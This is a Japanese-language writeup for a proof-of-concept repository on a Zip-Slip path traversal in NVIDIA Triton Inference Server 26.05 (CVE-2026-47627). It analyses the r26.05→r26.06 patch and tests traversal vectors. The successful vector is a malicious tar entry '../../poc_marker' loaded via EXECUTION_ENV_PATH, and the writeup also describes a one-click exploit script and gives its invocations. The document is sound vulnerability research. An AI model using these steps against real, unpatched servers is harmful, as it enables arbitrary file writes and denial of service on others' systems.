
# CVE-2026-47627の概念実証エクスプロイト NVIDIA Triton Inference Serverにおけるパストラバーサル脆弱性(Zip-Slip経由の任意ファイル書き込みにつながる)の概念実証エクスプロイトです。詳細な分析、ラボ環境、ワンクリックエクスプロイトスクリプトを含みます。
このリポジトリにおける調査結果とPoCの完全なWriteup(イメージ
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0)。リポジトリは常にexplicitに設定されており、gRPC経由で再起動なしのPoCが可能です。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| 公開日 | 2026-08-18(NVD 分析待ち) |
| Bulletin | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 パストラバーサル |
| 影響を受けるバージョン | 0.0-26.05(server v2.69.0 / core r26.05) |
| 修正バージョン | 26.06(server v2.70.0 / core r26.06) |
| 影響 | DoS(CNAの説明)— 本調査ではZip-Slipによる /models外へのファイル書き込み を実証。DoS/リソース枯渇に拡張可能 |
| クレジット | Martin Brodeur |
正直な注記: CNAの説明は
パストラバーサル → DoSのみで詳細なし。本Writeupではr26.05..r26.06の差分 と26.05-py3コンテナでの直接テスト によりバグの位置を再構築しています。
イメージ: nvcr.io/nvidia/tritonserver:26.05-py3(TRITON_VERSION 2.69.0)
Composeは常に explicit(このリポジトリではパッチ済み):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10、run_triton.ps1:11、run_triton.sh:12 も explicit に設定済み。
Tritonのモード:
NONE(デフォルトのアップストリーム)→ 起動時に一度だけロード、POST /v2/repository/models/.../load → 503、新しいモデルのロードには再起動が必要。POLL → リポジトリを毎秒スキャン、自動ロード、明示的なロードは引き続きブロック。EXPLICIT(このリポジトリ)→ スキャンしないが、gRPC load_model / POST /load を許可 → gRPC経由で再起動なしのPoCが可能。ポート:
| 8000 | HTTP REST | v2/health、v2/models、v2/repository |
| 8001 | gRPC | RepositoryModelLoad、ModelInfer |
| 8002 | Metrics | Prometheus |
初期モデル:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
クイックスタート:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + identity_onnx の推論
ユーザー入力 (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► "child が parent 内か?" チェック ──► ファイルを開く
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' チェック FileExists / extract
join に canonicalize がない場合、または rfind(parent,0)==0 のチェックが誤っている場合(部分一致 /models vs /models_evil)、../ でエスケープ可能。/dev/zero、/proc/self/mem の場合、または ../../ を含むtarがシステムファイルを上書きする場合に発生 → ハング / OOM / クラッシュ。3つの調査質問(初期レポートより):
RepositoryModelLoad の model_name、tarエントリの EXECUTION_ENV_PATH、file: オーバーライド、TRITON_BATCH_STRATEGY_PATH。posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath。DoS。このリポジトリでは /tmp/poc_marker への ファイル書き込み を実証。core リポジトリ(r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — 修正 dcb315d + 72f3d9b:
// 脆弱(r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → 部分一致バグ: "/models" プレフィックスが "/models_evil/file" を内部と誤判定
// 修正済み(r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → プレフィックス後に '/' が必要、"/models_evil" は正しく外部と判定
src/backend_model.cc:196(TRITON_BATCH_STRATEGY_PATH)と src/model_repository_manager/model_repository_manager.cc:162(file:)で使用。
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481(2026年3月、26.05には既に存在、26.06で強化):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
これにより、26.05では gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT(ブロック済み)。ただし %2f(エンコードされた /)はリテラルの / ではないため通過 → リテラルポーリングで 500。
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 テスト zipslip_test.py:
Tarは .. / 絶対パスのチェックなしで抽出される。/models/poc_exploit/malicious_env.tar.gz のエントリ ../../poc_marker は /tmp/poc_marker(モデルディレクトリ外)に抽出される。26.06での修正: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath チェックを使用。
server リポジトリ(r26.05..r26.06): sagemaker_server.cc:1027(RE2::FullMatch チェック)+ http_server.cc:2440(atoi→stoi)のみで、このCVEの経路ではない。
結論: HTTP/gRPC経由の model_name パスは26.05で ValidateModelName により ブロック済み だが、tarのZip-Slipは未対策 — これがこのリポジトリのPoCで悪用される経路。
| ベクター | ペイロード | 26.05の結果 | 影響あり? |
|---|---|---|---|
HTTP 生の ../ | POST /v2/repository/models/../tmp/pwn/load | 404(ルーティング正規化) | ❌ |
HTTP エンコード ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 リテラル、ポーリング /models/..%2ftmp%2fpwn は存在しない | ❌(偽の500、トラバーサルではない) |
gRPC 生の ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌(ブロック済み) |
gRPC エンコード ..%2f | load_model('..%2ftmp%2fpwn') | 500 リテラルポーリング | ❌ |
file: オーバーライド ../models_evil | file:../models_evil/pwn | 部分一致により 400/500 | ⚠️(IsChildPathEscapingParentPath バグに依存、ただし model_name は ValidateModelName でブロック済み) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz エントリ ../../poc_marker | 200 + /tmp/poc_marker にファイル | ✅ 脆弱 |
以前のWriteupの
500 vs 400の類推は誤り:500= ファイルが存在しない(ドアがない)、400= 検証で拒否(ドアが施錠されている)。どちらも侵入できない。200+/tmpへのファイル書き込みのみが証拠。
アイデア: Pythonバックエンドのパラメータ EXECUTION_ENV_PATH が $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz を指す。load_model('poc_exploit') 時に、バックエンド pb_env.cc:292 がサニタイズなしでtarを抽出。エントリ ../../poc_marker が .../poc_exploit/ から /tmp/poc_marker へエスケープ。
PoCの手順(scripts/exploit.py:28 & exploit.ps1:20 で自動化):
echo_python を poc_exploit にコピー(scripts/exploit.py:35)config.pbtxt に追記(scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') をトリガー(scripts/exploit.py:60)— explicit のため 再起動なし。docker exec tritonserver-test cat /tmp/poc_marker → pwned(scripts/exploit.py:81)前提条件: Docker、26.05-py3 イメージ、docker compose up -d 実行済み(リポジトリは explicit 設定済み)。
Python(再起動なし、gRPC経由):
py scripts/exploit.py # explicit を自動検出 → gRPC
py scripts/exploit.py --keep # 手動確認用にアーティファクトを保持
# 手動確認: docker exec tritonserver-test cat /tmp/poc_marker
# 手動クリーンアップ: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
MODE_NONE に戻す場合(デフォルトのアップストリーム動作が必要な場合):
# docker-compose.yml:12 を編集し --model-control-mode=explicit を削除
docker compose up -d --force-recreate